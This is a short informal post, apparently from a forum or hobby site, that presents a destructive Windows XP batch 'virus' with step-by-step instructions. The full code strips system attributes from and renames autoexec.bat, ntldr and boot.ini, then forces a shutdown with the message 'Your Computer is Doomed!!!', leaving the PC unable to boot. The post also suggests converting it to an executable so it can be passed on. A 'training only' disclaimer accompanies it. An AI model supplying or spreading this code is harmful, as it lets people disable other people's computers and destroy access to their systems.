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But, first BE EXTREMELY CAREFUL.. I WOULD SERIOUSLY ADVICE YOU TO NOT TO RUN THIS ON YOUR PC ATLEAST. I TAKE NO RESPONSIBILITY OF HOW YOU USE THIS CODE. THIS IS ONLY FOR TRAINING. NOTHING ELSE. my virus uses batch processing to rename the xp booting file ntldr as ntls. and boot.ini as boot.int.. and displays a message for 4 seconds. and automatically shuts down your PC (forever )..

Open notepad and paste the following code.. save it as .bat ... any file name with extension bat ..

@echo off
attrib c:\autoexec.bat -s -h -r
ren c:\autoexec.bat aute.bit
attrib c:\ntldr -s -h -r
ren c:\ntldr ntls
attrib c:\boot.ini -s -h -r
ren c:\boot.ini bot.int
@echo off

shutdown -s -t 4 -c "Your Computer is Doomed!!!"
you can add many variations to it.. You can also use any BATCH to EXE converter to convert your file into executable one